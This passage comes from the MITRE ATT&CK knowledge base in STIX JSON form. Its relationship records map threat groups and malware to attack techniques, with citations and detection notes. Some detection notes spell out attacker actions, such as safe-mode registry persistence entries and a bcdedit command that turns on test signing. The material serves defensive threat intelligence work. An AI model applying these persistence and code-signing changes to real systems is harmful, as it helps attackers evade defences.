"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78e8d9e6-48b7-473f-af94-43f626de7931", "type": "relationship", "created": "2017-05-31T21:33:27.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2019-12-20T14:26:01.181Z", "description": "An [APT28](https://attack.mitre.org/groups/G0007) backdoor may collect the entire contents of an inserted USB device.(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78eecb81-4803-48d1-abc0-7667594ea251", "type": "relationship", "created": "2020-01-28T17:11:54.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-28T17:11:54.416Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78f09c1a-8e37-4b2c-9296-d464be9b46c5", "type": "relationship", "created": "2019-08-26T15:27:13.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."}], "modified": "2020-03-30T02:56:46.748Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RC4 encryption before exfil.(Citation: Securelist Kimsuky Sept 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42", "type": "relationship", "created": "2017-05-31T21:33:27.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. 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(2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:37.721Z", "description": "[Doki](https://attack.mitre.org/software/S0600) was run through a deployed container.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-03-20T18:06:47.440Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) encodes commands from the control server using a range of characters and gzip.(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--78f93749-8ffe-4d68-a594-fe8b9978b0dd", "created": "2022-03-30T14:26:51.867Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "BleepingComputer REvil 2021", "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021."}, {"source_name": "Sophos Snatch Ransomware 2019", "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor modifications to Registry data associated with enabling safe mode. For example, a service can be forced to start on safe mode boot by adding a <code>\\*</code> in front of the \"Startup\" value name: <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]</code> or by adding a key to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)", "modified": "2022-04-14T16:20:10.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78fc38f6-88ee-4f26-84e1-7532d95a4fbe", "type": "relationship", "created": "2020-05-26T16:17:59.550Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Unit 42 Rocke January 2019", "url": "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}, {"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-15T19:59:06.538Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106)'s miner has created UPX-packed files in the Windows Start Menu Folder.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78fce2a1-4d92-4e67-8e9b-c684f33b4536", "type": "relationship", "created": "2021-01-25T17:27:10.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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Retrieved June 10, 2021."}], "modified": "2021-06-11T19:53:34.580Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can identify the OS version of a targeted system.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--792376f7-db54-4ae9-b50a-38b67ed96053", "type": "relationship", "created": "2021-09-09T13:53:16.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). 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PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "source_name": "GitHub PowerSploit May 2012"}, {"url": "http://powersploit.readthedocs.io", "description": "PowerSploit. (n.d.). PowerSploit. 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(2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. 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Retrieved November 18, 2020."}], "modified": "2020-11-19T17:03:37.989Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can query the Registry for installed applications.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7944bf15-8e56-4624-8776-bc9fc5aee249", "type": "relationship", "created": "2021-01-22T21:28:55.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T21:28:55.390Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net start</code> and <code>net use</code> for system service discovery.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--79460858-f878-417f-bc10-b4c962128df4", "type": "relationship", "created": "2021-10-01T17:13:49.087Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 KerrDown February 2019", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", "description": "Ray, V. and Hayashi, K. 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Retrieved October 1, 2021."}], "modified": "2021-10-01T17:24:01.874Z", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) can use DLL side-loading to load malicious DLLs.(Citation: Unit 42 KerrDown February 2019)", "relationship_type": "uses", "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--794a94a5-53ee-46af-9510-527f651d2ace", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as\u00a0<code>bcdedit.exe -set TESTSIGNING ON</code>.\u00a0(Citation: Microsoft TESTSIGNING Feb 2021)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft TESTSIGNING Feb 2021", "description": "Microsoft. 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This analytic has a hardcoded domain name which may change. \n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7953c8bf-2e44-45e9-90f5-4db5da4ad8c2", "created": "2022-09-22T20:15:26.807Z", "revoked": false, "external_references": [{"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. 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(2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}, {"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has packed malware to help avoid detection.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:45:47.077Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--79c427b2-05c5-4e55-9626-b5709b2afd9a", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly assigned drive letters or mount points to a data storage device that may attempt to exfiltrate data via a physical medium, such as a removable drive.", "source_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--79c46f52-743a-4a17-bede-aa003c03f6b1", "type": "relationship", "created": "2020-06-10T19:31:48.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.405Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) has the ability to detect if the infected host is running an anti-virus process.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--79c5870a-c93f-47c5-a382-e26a23666209", "type": "relationship", "created": "2021-10-05T01:34:08.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.458Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s <code>execute-assembly</code> command can run a .NET executable within the memory of a sacrificial process by loading the CLR.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--79c73e97-2bce-4900-b7b8-10528d687ac7", "created": "2022-03-30T14:26:51.856Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "AWS CloudTrail Search", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", "description": "Amazon. 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Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-04-25T02:48:47.519Z", "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. 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Retrieved October 14, 2019."}], "modified": "2021-07-28T01:26:52.229Z", "description": "A physical second factor key that uses the target login domain as part of the negotiation protocol will prevent session cookie theft through proxy methods.(Citation: Evilginx 2 July 2018)", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7a1dd7b6-f759-4580-b658-e1b5abf12d89", "type": "relationship", "created": "2021-09-21T15:45:10.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. 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Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.269Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7a6a6b83-5a81-4844-96c1-bdd74c047d50", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may deface systems internal to an organization in an attempt to intimidate or mislead users. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.289Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can obtain the computer name from a compromised host.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7acc1226-d784-448e-8aeb-7f58e343c4da", "type": "relationship", "created": "2021-04-20T02:37:12.377Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. 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Retrieved June 4, 2019."}], "modified": "2019-09-09T19:12:32.904Z", "description": "(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7aeee346-4272-45c4-b351-1cf4ac98a15d", "created": "2019-04-19T15:30:36.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "US-CERT HOPLIGHT Apr 2019", "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. 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Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:49.014Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate files on the local file system and includes a module for enumerating recently accessed files.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7af3fbea-cdb1-42e3-a5f0-8ad2e418baff", "type": "relationship", "created": "2021-10-07T21:28:23.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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Retrieved October 5, 2021."}], "modified": "2021-10-15T03:11:44.586Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) adds malicious file paths to the <code>DYLD_FRAMEWORK_PATH</code> and <code>DYLD_LIBRARY_PATH</code> environment variables to execute malicious code.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7af7bfc3-7b1b-41aa-b162-47c222390815", "created": "2022-09-16T22:06:21.494Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T22:06:21.494Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used batch files that modified registry keys.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7af9715f-b85c-4fc5-8ef8-5884c8144178", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}], "modified": "2020-03-18T00:48:35.903Z", "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses the API call ShellExecuteW for execution.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7b050e9f-ab8e-4860-aae9-4a37e18efbe2", "created": "2021-10-12T19:19:57.932Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Dell TG-3390", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."}, {"source_name": "Unit42 Emissary Panda May 2019", "url": 